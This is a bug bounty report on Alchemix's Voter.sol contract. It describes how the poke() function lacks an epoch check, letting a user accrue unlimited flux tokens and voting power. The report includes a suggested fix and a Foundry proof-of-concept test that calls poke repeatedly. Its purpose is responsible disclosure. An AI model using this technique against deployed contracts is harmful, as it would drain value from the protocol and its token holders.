31375 - [SC - Critical] Lack of Access control in poke function allows ...
Submitted on May 17th 2024 at 17:45:04 UTC by @hulkvision for Boost | Alchemix
Report ID: #31375
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
A user can mint unlimited flux token breaking the invariant
A user should never be able to claim more rewards than they have earned
Description
Brief/Intro
Lack of Access control in poke()
function allows unlimited accrual of flux token thus breaking assumed invariants set by the team.
Vulnerability Details
In Voter.sol
users can perform action like vote, reset or poke , when these actions are performed an external call to FluxToken.sol
accrueFlux
function is called which accrue unclaimed flux for a given veALCX . While vote
and reset
function had modifier called onlyNewEpoch
which prevented calling accrueFlux
function multiple times in an epoch. poke
function was also calling accrueFlux
function but in this function no access control modifier onlyNewEpoch
was used which allowed this function to be called multiple time in an epoch.
In Voter.sol
function poke(uint256 _tokenId) public {
//...//
_vote(_tokenId, _poolVote, _weights, _boost); //internal _vote is called
}
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
//...
IFluxToken(FLUX).accrueFlux(_tokenId); // flux is accrued here
uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);
}
Impact Details
This vulnerability is breaking a invariant set by the team , as a user can accrue unlimited flux, they can use the accrued flux to boost their voting power each epoch thus getting more voting power than they should have.
A user should never be able to vote with more power than they have
A user can mint unlimited flux token and can unlock their escrowed position at any time they want even before then are supposed to unlock or can sell those flux token in the marketplace
Due to unlimited supply of flux token the value of flux token will drop significantly.
References
https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195-211 https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L423
Possible fix
+ bool public hasPoked; // create a state variable
function poke(uint256 _tokenId) public {
+ hasPoked = true;
uint256 _boost = 0;
//...//
_vote(_tokenId, _poolVote, _weights, _boost);
+ hasPoked = false;
}
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
//.../
+ if (!hasPoked) { // when poke is called flux accrual will not happen.
+ IFluxToken(FLUX).accrueFlux(_tokenId);
+ }
//...//
}
Proof of Concept
Add this function to
src/test/Voting.t.sol
and run the testforge test --mt testPocAccrueFluxMultipleTimes --rpc-url $RPC_URL -vvvv
function testPocAccrueFluxMultipleTimes() public {
uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, true);
address[] memory pools = new address[](1);
pools[0] = alETHPool;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
hevm.startPrank(admin);
voter.vote(tokenId, pools, weights, 0);
voter.poke(tokenId); // 1st time
console.log("unclaimed flux balance",flux.getUnclaimedFlux(tokenId));
voter.poke(tokenId); // 2nd time
uint256 unclaimedFlux_1 = flux.getUnclaimedFlux(tokenId);
voter.poke(tokenId); // 3rd time
uint256 unclaimedFlux_2 = flux.getUnclaimedFlux(tokenId);
console.log("increased flux balance",flux.getUnclaimedFlux(tokenId));
assertGt(unclaimedFlux_2,unclaimedFlux_1);
}
Last updated
Was this helpful?